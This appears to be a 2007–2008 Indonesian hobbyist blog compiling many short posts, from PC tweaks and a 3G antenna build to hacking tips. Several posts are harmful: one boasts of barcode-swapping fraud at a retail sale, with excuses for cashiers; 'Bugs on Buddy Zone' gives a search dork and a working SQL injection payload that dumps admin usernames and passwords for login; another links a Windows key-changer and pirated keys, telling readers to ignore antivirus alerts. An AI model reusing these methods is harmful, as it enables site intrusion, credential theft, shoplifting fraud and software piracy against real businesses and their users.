JKR blog

Hacking the Ritz Carlton's Big Sale!

2008-11-19T10:18:00.000+07:00

Saya benar-benar serius pada saat mengatakan bahwa perusahaan-perusahaan fashion di Indonesia harus lebih memahami arti penting daripada keamanan informasi dalam bidang bisnis mereka, dan tentunya memberikan perhatian lebih terhadap hal tersebut! Terutama pada saat mereka melakukan pesta Sale besar-besaran; yang melibatkan lebih dari 5 merek/perusahaan yang berbeda dalam sebuah ruangan besar, seperti yang terjadi hari ini di mall Pacific Place, Jakarta.

Sebab, apabila mereka tidak menyadari arti penting daripada keamanan informasi itu sendiri terhadap/dalam bidang bisnis mereka - maka fenomena "Pencuri Tak Terlihat" bisa kembali bermunculan! Percayalah!

Q: Jadi, hal apa yg anda lakukan hari ini sehingga membuat anda mengatakan hal semacam itu?!

Well, pada dasarnya saya tidak melakukan apapun koq! Hanya berjalan-jalan dan berjumpa bersama beberapa teman saja di mall Pacific Place, menghadiri acara diskon besar-besaran yang digelar di Ballroom Ritz Carlton, makan siang yg terlambat di ToriQ dan menonton film "Deception" di mall Entertainment X, Jakarta!

Q: Jujur saja, apa yg anda lakukan di Pacific Place?

Err .. Ok! Saya memaksa pegawai pagelaran diskon tersebut untuk memberikan saya diskon yg sangat besar untuk setiap daripada produk mereka! Itu saja, saya berani sumpah!

Q: Eits! Mereka kan sudah memberikan diskon sebesar 70% (kebawah) disana! Kurang apalagi memangnya?

Kurang besar dong! Bagaimana tidak, diskon yg dijanjikan sebesar 70% (kebawah) itu masih menampilkan harga-harga sekitar Rp. 400,000 keatas! Dan lagi, hampir 85% barang disana hanya di diskon sebesar 40% - 50% dan harganya masih melambung diatas Rp. 500,000! Masih mahal dong, saya kan mau nya yg murah meriah!

Q: Jadi berapa besar diskon yg anda inginkan?!

85% - 97% dong kalau bisa! Kekeke~

Q: Hahaha, mana mgkn mereka mau memberikan diskon sebesar itu! Mereka tidak akan untung lagi!

Makanya saya paksa petugas mereka untuk memberikan nya kepada saya!

Q: Caranya?!

Permainan tukar Barcode dong! Udah pernah baca belum logikanya di disini?!

Q: Bisa dijelaskan lebih lanjut?!

Mudah saja koq! Intinya cuman menukar-nukar Barcode saja! Begini cerita singkatnya:

Saya berjalan-jalan di Pacific Place dan melihat adanya Sale besar-besaran tersebut! Disana saya dan melihat sebuah celana pendek kusut2 yg bagus! Tapi harganya sama sekali tidak sehat dilihat mata! Rp. 1,534,900 - bahkan setelah di diskon 50% hanya menjadi Rp. 767,450! Wuihhh, tetap ajah mahal kan? Padahal yg saya mau itu harga kisaran Rp. 300,000! Kekeke *Pelit Mode On!*

Lalu terlintas dalam benak saya!

Bagaimana kalau saya menukarkan Barcode barang ini dengan barang lain yang lebih murah?! Dengan modal nekat dan sedikit pengalaman utak-atik Barcode orang, maka saya menemukan Barcode ini dari sebuah T-Shirt warna Coklat yg juga masih ber-merk sama dengan celana pendek yang ingin saya beli, yakni Guess:

Dengan menggunakan tangan dan sedikit celingak-celinguk takut kepergok oleh pihak yg bersangkutan, saya akhirnya berhasil melepas Barcode tersebut dan menempelkan nya tepat diatas Barcode asli celana pendek yg ingin saya beli ini - jadinya yah seperti ini:

Dengan demikian saya berhasil membeli celana pendek yg seharusnya berharga Rp. 1,534,900 dengan harga Rp. 230,950! Dengan demikian jadi dibawah Rp. 300,000 seperti yg saya idam-idam kan bukan?! Kekeke~

Q: Jadi anda hanya mendapatkan diskon tambahan Rp. 500,000 dengan resiko tertangkap?!

Idih! Siapa bilang Rp. 500,000 saja?! Coba anda bayangkan sendiri, berapa yg akan anda dapatkan apabila ada berhasil mengubah salah sebuah tas merek Gucci dengan harga Rp. 6,800,000 menjadi sebuah tas merek yg sama namun dengan harga Rp. 3,000,000?! Sangat mungkin koq!

Q: Memang nya anda tidak takut tertangkap pada saat kasir nya sadar?!

Selalu ada kalimat "Saya mana tahu mbak, lah wong pas saya ambil udah begitu!" untuk melarikan diri!

Lebih dari itu, saya rasa seorang kasir yg rajin sekalipun tidak akan sedemikian rupa telitinya memeriksa barang mereka pada saat situasi di lokasi kejadian se-ramai ini:

Kalau saya jadi kasirnya mah - yg penting cepat selesai!

Bahkan tidak menutup kemugkinan, beberapa kasir tidak peduli pada apa yg anda lakukan, walaupun mereka sadar, karena itu tidak merugikan mereka! (Toh, gaji mereka sama-sama ajah!).

Q: Okay! Anda telah membuktikan bahwa kejahatan unik semacam ini memang ada dan bahwa Barcode mereka mudah di hack! Lalu, apakah ada cara menanggulanginya?! Terutama bagi para perusahaan yg merasa dirugikan dalam kasus ini!

Kenapa tidak?! Pada dasarnya mereka hanya perlu melakukan 2 hal kecil koq!

* Jangan pelit-pelit untuk mengeluarkan uang! Gunakan lah keuntungan mereka sedikit saja untuk melakukan pelatihan terhadap setiap daripada pekerja mereka - terutama kasir! Beritahukan mereka bahwa memperhatikan barcode dan mencocokan informasi tertulis (untuk mata manusia) yg ada pada barcode dan informasi yg tertera pada layar komputer pada saat Barcode selesai dipindai adalah sama! Jika tidak, beri mereka hukuman

* Mereka juga bisa sedikit merubah manajemen peletakan barcode mereka! Jangan gunakan stiker tempel lagi - coba print langsung harga mereka pada label yg terikat langsung (biasanya dengan tali kecil warna hitam) ke baju! Tepat dibawah barcode tersebut, mereka baru memasangkan stiker manual berupa harga tertulis (dapat dibaca dengan mata telanjang) guna mempermudah kerja kasir dalam melakukan cek ulang!

Berikut adalah gambaran nya:

Dengan demikian, seseorang tidak dapat lagi melepas barcode dengan mudah! Satu-satu nya jalan untuk melakukan penipuan adalah dengan merobek label dari bajunya (dan hal ini tidak akan membuat kasir tinggal diam) - dan juga apabila mereka bisa sedemikian rupa mengubah barcodenya, kasir tinggal mencocokan harga saja sesuai dengan yg ditampilkan di layar monitor (berbeda barcode kan beda harga - lebih dari itu, harga lebih mudah dilihat daripada nama benda / kode).

Sekian cerita singkat dari saya! Kekeke~

Original Advisory: http://th0r.infop=144

For more information, feel free to contact me:

YM: hackingforte (@yahoo.it)

MSN: Binus_2_0_0_4@hotmail.com

Email: me@th0r.info

BlackBerry PIN: 245FEAF6

Thanks.

Th0R

The Changcuters - Mencoba Sukses

2008-05-26T08:54:00.001+07:00

01. Bambang Irwanto
02. Dang Ding Dong
03. Gila-Gilaan
04. Hijrah Ke London
05. Keep Rock
06. Awas Angkot
07. Chungcat-Gadisku
08. Hey Hey Hey
09. Hey Nona
10. Pria Idaman Wanita
11. Semarak Disco Party

Thanks Doctor

2008-05-24T22:33:00.004+07:00

Divorce related to September 11th attack

2008-05-24T22:29:00.002+07:00

Driving Licence in Iraq

2008-05-24T22:27:00.003+07:00

Nice helm

2008-05-24T22:26:00.001+07:00

This is what China do !

2008-05-24T22:25:00.001+07:00

Perang Tarif

2008-05-23T07:24:00.001+07:00

picture by : sasonov

This is what we do !! CK 2007-2008

2008-05-22T16:04:00.011+07:00

IPA crew :

Aheng
Apen
Edo
Apan
Dizh
Acing
Ajo
Dora
Asek
Jenny
Cia linQ
Kobun
Oslo
Lina
Veve

IPS crew :

Ahok
Aliang
Oe
Diaz
Uwak
Erlang
SeTan
Chang

Penguat Sinyal 3G

2008-05-22T12:34:00.002+07:00

OK, sekarang soal penguat sinyal 3g. Sebenernya sinyal 3g di kost sudah lumayan cepet, tapi pas lagi beli koran di kios majalah jalan Jemursari, gak sengaja liat buku pak Haji Onno yang judulnya “Akses Internet Melalui 3G”. Gak pake mikir lama-lama, aku ambil aja buku itu. Trus pergi. Setelah diteriakin sama yg jual baru deh bayar .

Nah, dalam salah satu bagian dibahas soal bikin penguat sinyal 3g pake bahan-bahan murah-meriah. Panci, atau penggorengan, atau pake kaleng biskuit…atau pake pipa paralon PVC. Opsi 1 sampai 3 kurang bisa sejalan sama taste estetika Bapak kost. Akhirnya aku pilih eksperimen pake pipa paralon PVC aja. Bahan-bahan :

pipa paralon PVC. Intinya menurut buku pak Onno, kita pake pipa pralon diameter 4” yang panjangnya harus lebih dari 23 cm. Biar gampang tukang di toko bangunan buat motongnya, karena minimal belinya 1 meter, aku minta dipotong jadi 2 masing-masing stengah meter. Harga : 4 ribu

Tutup pipa paralon. Harga : 2 ribu

Selotip Lakban / sticker spotlight alumunium buat melapisi luar Paralon. Bisa juga pake Alumunium Foil, satu gulung 11 ribu. Dah lebih-lebih.

Mur dan sekrup medium. Gratis. Nyopot dari lemari

Langkah 1: Ambil 1 pipa paralon stengah meter. Buat lubang kecil di bagian sisi pada posisi 6.8cm untuk masuknya kabel USB modem 3G. Bolonginnya pake pisau cutter aja lebih gampang. Jangan pake linggis. Pecah dong!

Langkah 2: Lapisi seluruh permukaan pipa pralon menggunakan lakban/aluminium foil yang lem pake double tape (isolasi bolak-balik).

Langkah 3: Lubangi lakban aluminium pada posisi 6.8cm tempat kabel USB modem 3G akan di masukan. Lapisi pinggiran lubang USB modem 3G dengan lakban aluminium agar nantinya ground USB modem 3G akan bersentuhan dengan lakban aluminium. Nggak juga gak apa-apa. Gak dosa.

Langkah 4: Bolongi tutup dop paralon di tengah-tengah. Pastikan mur & sekrup dapat masuk ke dalamnya. Mur & sekrup nantinya digunakan untuk memasang antenna bazoka ke tiang kalau diperlukan. Lapisi tutup dop pralon dengan lakban alumium. Pastikan di sisi pinggiran dop ada cukup lakban aluminium agar nantinya tersambung ke aluminium yang ada di badan pipa paralon. Ujung Paralon yg ditutup dop hanya satu, yg satu dibiarin terbuka.

Langkah 5: Masukkan kabel USB modem 3G dari lubang kecil di samping, masukkan modem dari ujung Bazooka yg gak tertutup dop. Colokin. Done. Bazooka 3G siap beraksi.

Langkah 6…paling penting..: Pelajaran yang aku dapet dalam pengukuran antenna bazoka 3G bahwa antenna ini mempunyai sudut arah yang sangat sempit. Kita harus tahu betul dimana lokasi base station 3G yang kita tembak. Kesalahan mengarahkan antenna akan menyebabkan sinyal drop dan kecepatan juga akan drop.

Aku telpon Customer Service IndosatM2 tanya lokasi station 3G yang deket kost. Arahin bazooka ke sana, sambung ke komputer…coba konek. Kalau perlu ditaruh di posisi yg tinggi, kita perlu kabel USB yg cukup panjang. Buat memperpanjang kabel USB, bisa dilihat di sini.

Berikut ini hasil sinyal full bar yg didapet modem 3G setelah pakai antenna bazooka pipa paralon PVC penguat sinyal setelah mengarahkan ke arah yg benar :

SEBELUM pake antenna bazzoka 3G

SETELAH pake antenna bazzoka 3G

Dan ini hasil speedtes.net setelah pakai antenna bazooka pipa paralon PVC penguat sinyal setelah mengarahkan ke arah yg benar :

Secara umum hasil pengukuran yang saya lakukan tidak berbeda jauh hasilnya antara antenna wajanbolic e-goen dan bazoka 3G. Hanya saja, sepertinya antenna bazoka 3G lebih sensitif terhadap arah kesalahan dalam mengarahkan antenna akan berakibat sinyal hilang sama sekali.

credit : trieffendi

Hire Hackers for your web app assg

2008-05-22T12:28:00.002+07:00

Hackers.web.id is an independent computer security consultant which operates in Indonesia & Australia. Our main goal is to provide the ultimate security assessment discipline to improve the Web Application Security.

Security is one of the major and an inevitable aspect for every Online Businesses out there on the Internet; the fact that thousands of online business companies are being hacked is one of the most important reason for all the Online Business owners to really think about Information Security first before deploying their very own Online Businesses - Put their customers and/or businesses on stake is not a really wise decision.

go to http://www.hackers.web.id

Hacker's Day

2008-05-13T22:11:00.002+07:00

JAKARTA - Juni mendatang, Indonesia akan menjadi tuan rumah untuk event hacker terbesar di dunia. Event pertemuan hacker bertajuk Hacker's Night: Warning Biggest Hacker Days Event In Indonesia ini, konon akan mengundang tokoh, pakar, konsultan, dan para ekspert TI ternama di dunia untuk berkumpul dan berdiskusi di Jakarta.

Diawali ide seorang pengamat TI Enselmus Ricky, dikenal dengan nick Th0R, yang ingin mempertemukan hacker-hacker ternama dunia, maka setelah mencari-cari, akhirnya ia bertemu Warih dari InfoKom yang tertarik untuk mendengarkan ide dan coba merealisasikannya dengan menjadi event organizer.

Kegiatan event ini meliputi diskusi dan sharing informasi seputar riset dan topik-topik menarik lainnya yang berkaitan dengan hacker. Selain itu, juga akan diadakan seminar yang melibati para ekspertis sebagai pembicaranya. "Namun, yang menjadi tujuan utama kami sebenarnya adalah untuk mengumpulkan hacker yang sebenarnya untuk datang dan bergabung pada event ini, baik menjadi pembicara maupun pendengar, yang pasti untuk berbagi ilmu dan pengetahuan seputar hacking," papar Th0R secara ekslusif kepada okezone, Senin (12/5/2008). "Ya, Indonesia akan memiliki suatu hari penting bagi orang-orang yang ingin tahu, ingin belajar, atau ingin menjadi hackers," ujarnya.

Rencananya, event yang diadakan dengan dwibahasa, Bahasa Indonesia dan Inggris, akan diselenggarakan pada 12 Juni 2008, di Ruang Seminar Festival Komputer Indonesia, Jakarta Convention Center. Acara akan dimulai pada pukul 10.00 WIB hingga 17.00 WIB. Kemudian, akan dilanjutkan dengan acara sosialisasi ramah-tamah dan lainnya yang kemungkinan akan diadakan di bar atau pub.

Adapun yang menjadi pembicara nantinya adalah Onno W Purbo (pakar TI), Desmond Devendran (konsultan senior TI), Eko Indrajit (kepala ID-SIRTI), Anselmus Ricky (atau dikenal dengan Th0R), Semi Yulianto (Certified Trainer dari EC Council), Irvan (konsultan keamanan), dan Jim Geovedi (pakar sekaligus konsultan keamanan). Event ini rencananya juga akan diramaikan oleh beberapa tokoh besar, yakni Eugene Dokukin (yang dikenal dengan nick MustLive - Russia White Hat Hacker & Security Expert), Greg Hoglund, Johnny Long, dan Robert "RSnake" Hansen.

Ada beberapa harapan Th0R sebagai pencetus ide diadakannya event hacker terbesar ini, yakni ingin membuka dan mengubah pandangan masyarakat yang selama ini misinterpretasi antara hacker dan cracker. Lalu, berharap ini menjadi ajang sharing informasi yang lebih kompeten, karena pada event ini akan ada pembicaraan berbagai arah, seperti pembicara-peserta, peserta-pembicara, peserta-peserta.

Selebihnya, Th0R ingin memberitahukan kepada dunia, baik regional maupun global, kalau Indonesia juga punya orang-orang bermutu dan berkualitas. Dan, yang terakhir, diharapkan para ahli yang lama "bersembunyi", kini keluar dan membagi ilmunya kepada khalayak umum, supaya wacana pembelajaran InfoSec di Indonesia tambah maju dan berkembang.

"Masak luar negeri udah ngomongin BioMetric Hacking, di Indonesia BioMetricnya ajah gak ada," pungkas Th0R. (srn)

Access YouTube.com from Indonesia

2008-04-10T08:39:00.000+07:00

If you are one of the Indonesian ISP users, you might have problem accessing http://youtube.com. I am not sure what actually happened (as I know that YouTube.com have some videos that Indonesian Government ban).

From my small research, I found out that Indonesia ISP deletes youtube.com Name Server record from all DNS’. You can regain your access, of course by changing your secondary DNS into this : 12.127.17.83.

How to do it :

Open your Network Setting. Right click and select property. In Internet Protocol list menu, click configure. And type in the DNS I provided into the secondary DNS. Now you can access YouTube.com!

credit : Zoiz - http://zoiz.web.id

W3XNameSpoofer11800

2008-02-10T21:46:00.001+07:00

Lastest W3XNameSpoofer11800
File name : W3XNameSpoofer11800.exe
File size: 212 kb
Programmer : shadowfrench

Download: W3XNameSpoofer11800.exe

========================================

How to use:
1. Open NameSpoofer Program
2. Open Warcraft III Program ( Dot A )
3. Before Start Game Input Your Name in Textbox "Your new Name"
4. Click Button " Change Name"
5. Fun

Seminar Ethical Hacking

2008-01-10T10:23:00.000+07:00

How to open blocked site

2007-09-06T22:50:00.000+07:00

Let's see...
my school block www.friendster.com for "student"
but i really-really need to open my account now...
how to??

no problem....
just open http://anonymouse.org
and then just type http://www.friendster.com there..
maybe you'll get a bit lag...
but nvm...i can surf to www.friendster.com now !!!
he he he...

Change your windows to Genuine

2007-09-06T22:43:00.000+07:00

Download this file http://indoupload.net/files/2324/genuine.rar

first :
openkeyfinder.exe (some antivirus may detect this file as virus but it's ok ^^ )

second :
click Option -> Change windows key

third :
open xp key.txt
and then just choose one of them

last :
open Microsoft Genuine Advantage Diagnostic Tool.exe
If it said "Genuine"....congratz..you got the genuine windows
If it said "Status Invalid/BLK" then you must try it again

Download From YouTube.com

2007-09-02T17:30:00.000+07:00

1. Go to YouTube.com
2. Choose your video
3. Copy the video url
4. Open a new browser. Go to http://keepvid.com
5. Paste the link...clik drop down menu and choose Youtube.
6. Click download
7. Wait and then.Save Target As or copy link to Download Manager. Remmember to change the file to *.flv.
8. Make sure that you already got FLV media player or VLC media player

Faster FireFox on lan computer

2007-08-25T23:10:00.000+07:00

1). Buka Browser Mozilla Firefox…
2). Pada Address Bar Ketik : ABOUT:CONFIG
3). Cari string di bawah ini : ( pastikan semua srting dibawah "TRUE")
contoh menggantingnya :
NETWORK.HTTP.PIPELINING FALSE ==> klik kanan dan pilih "Toggle"
NETWORK.HTTP.PIPELINING TRUE
NETWORK.HTTP.PIPELINING.MAXREQUESTS 64
NETWORK.HTTP.PROXY.PIPELINING TRUE
NETWORK.PROXY.SHARE_PROXY_SETTINGS FALSE <=== ini harus False
4). buat srting baru caranya : Klik Kiri 1X Dimana Saja, Klik Kanan NEW>>INTEGER
5). Ketik : NGLAYOUT.INITIALPAINT.DELAY Beri Nilai 0
6). Kemudian REFRESH atau Tekan F5
7). Pada Address Bar Ketik : ABOUT:BLANK
. Klik Menu:
Untuk OS Windows XP TOOLS>>OPTIONS>>WEB FEATURES
Untuk OS Linux ( Vector ) EDIT >> PREFERENCES
Untuk Setting yang berbeda di beberapa OS EDIT >>ADVANCED
9). Pada Option :
ALLOW WEB SITES TO INSTALL SOFTWARE Beri Tanda Check Box Untuk mengaktifkan
10).Kemudian Tekan OK Lalu REFRESH ( F5 )
11).Masuk Ke Link Ini :
https://addons.mozilla.org/extensions/morei...=firefox&id=125
atau :
https://addons.mozilla.org/extensions/morei...iltered=firefox
12).Download Software SwitchProxy Tool Versi 1.3.4
13).Setelah Selesai Jangan Tekan Tombol UPDATE
14).Klik Tanda X (tutup)Yang Ada Di Pojok Kanan Atas Dari POP UP Window Yang Muncul
15).Tutup Semua Browser Mozilla FireFox,
16).Kemudian Buka Lagi Untuk Mengaktifkan Software SwitchProxy Tool Versi 1.3.4 Yang sudah di Install Tadi
17).Kalo Instalasi Sukses, Akan Muncul Toolbar tambahan Di Bawah Toolbar Navigasi &Address Bar.
18). Sekarang Browser Mozilla Siap Untuk Digunakan……

credit goes to : Coding-Girl

Name on your Taskbar

2007-08-24T23:51:00.001+07:00

Start --> control panel --> regional and language Options --> Cuztomize --> tab to "Time"

setting :
Time format = h:mm:ss tt
Time separator = :
AM symbol = JKR
PM symbol = JKR
press OK

look at your taskbar... ^^

Fake GM (Ragnarok)

2007-08-24T23:31:00.000+07:00

here we go again with "Fake GM" (Client Side)

Pertama tama :

1. Anda harus mengetahui GID anda atau biasa disebut juga di bot sbg CharID
2. Buka clientinfo.xml anda dr data.grf dengan menggunakan grf extractor.
3. Buka clientinfo nya dengan notepad
4. Masukan GID anda dalam List GM GID yang ada.
1000611000627142662
Dimana 7142662 adalah GID saya.
5. Pada folder Ro buatkan sebuah folder bernama "Data" (tanpa tanda "")
6. Copy file clientinfo.xml yang sudah diedit ke folder Data lalu rename jadi xclientinfo.xml
7. Buat shorcut dari ragexe ke desktop
8. Lalu pada ragexe yang di desktop pilih properties -> target : tambahkan attribut -1rag1 /account:xclientinfo.xml
contohnya : "D:\Program Files\Gravity\Ragexe.exe" -1rag1 /account:xclientinfo.xml
9. Jalankan ragexe yang sudah diedit

*Client Side mean only on your computer..not inject to the server

Speed up your browser

2007-08-24T23:27:00.001+07:00

start -> run -> gpedit.msc -> Local Computer Policy-->Computer Configuration-->
Administrative Templates-->Network-->QOS Packet Scheduler-->
Limit Reservable Bandwidth

double click limit Reservable Bandwith -> set to enable -> 0 %

then restart your pc

NB : works on Windows Xp Professional

Flash disk background

2007-08-24T23:17:00.000+07:00

changing flash disk background
choose one picture ex: JKR.jpeg (put it inside your flash disk)
now write down

[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}

[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
Attributes=1
IconArea_Image=JKR.jpg
IconArea_Text=0xcc00aa
[.ShellClassInfo]
ConfirmFileOp=0

on notepad and save it as "desktop.ini"

and then put this "desktop.ini" inside your flash disk
NB: the .jpg file must be inside the flash disk too

Manual msconfig

2007-08-24T23:15:00.001+07:00

This is how to open "msconfig" without "run shortcut"

open notepad and write down

@echo off
%SystemRoot%\pchealth\helpctr\binaries\msconfig.exe

save it!!
file extension --> .bat (ex: JKR.bat)
save as type --> all files

now you can open your msconfig without "run"

Save your computer from hacker

2007-08-24T23:12:00.000+07:00

Every sites,computers or maybe servers can be hack by hacker
How it works?
They look for a port that opened and they will attack it
The Point is hacker always trick you from your opened port
Why don't we just close our port?
how?
okay...lets start the lesson
say that a port is a door in your house.a visitor can come inside from the door..and you can go outside from that door too.
ex: if your surf to www.chandra-kusuma.com , a port in your computer will open in random and chandra-kusuma server port will opened too
now..like the question...close the port ?
okay...you can close the port but the port is the door..so you can't go outside and a visitor can't go inside
the easiest way is unplug all of your connection cable so you can't go outside and nobody can go inside
or maybe just shutdown your computer

Lesson finnish

School lessons with hacking method

2007-08-24T22:48:00.000+07:00

School teach us computer lessons with hacking method is better?
read more

Bugs on "Buddy Zone"

2007-08-23T23:16:00.000+07:00

DORK :

allintext:"Powered By Buddy Zone"

Setelah mendapat target...
maka dibelakang url ditambahkan ini

view_news.php?news_id=

maka keluar error seperti ini
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/mydjbe/public_html/classes/news.class.php on line 58

lalu kita tambahkan ini lagi dibelakangnya
-1/**/UNION/**/ALL/**/SELECT/**/1,concat(admin_user,0x3a,admin_password),3,4,5,6/**/FROM/**/admin_users/*

seteleh loading2 bntr maka ID dan password admin akan kelihatan ^^

kalo udah dapat yg tinggal buka www.target.com/admin
silahkan login pake yg tadi ^^

happy ending :D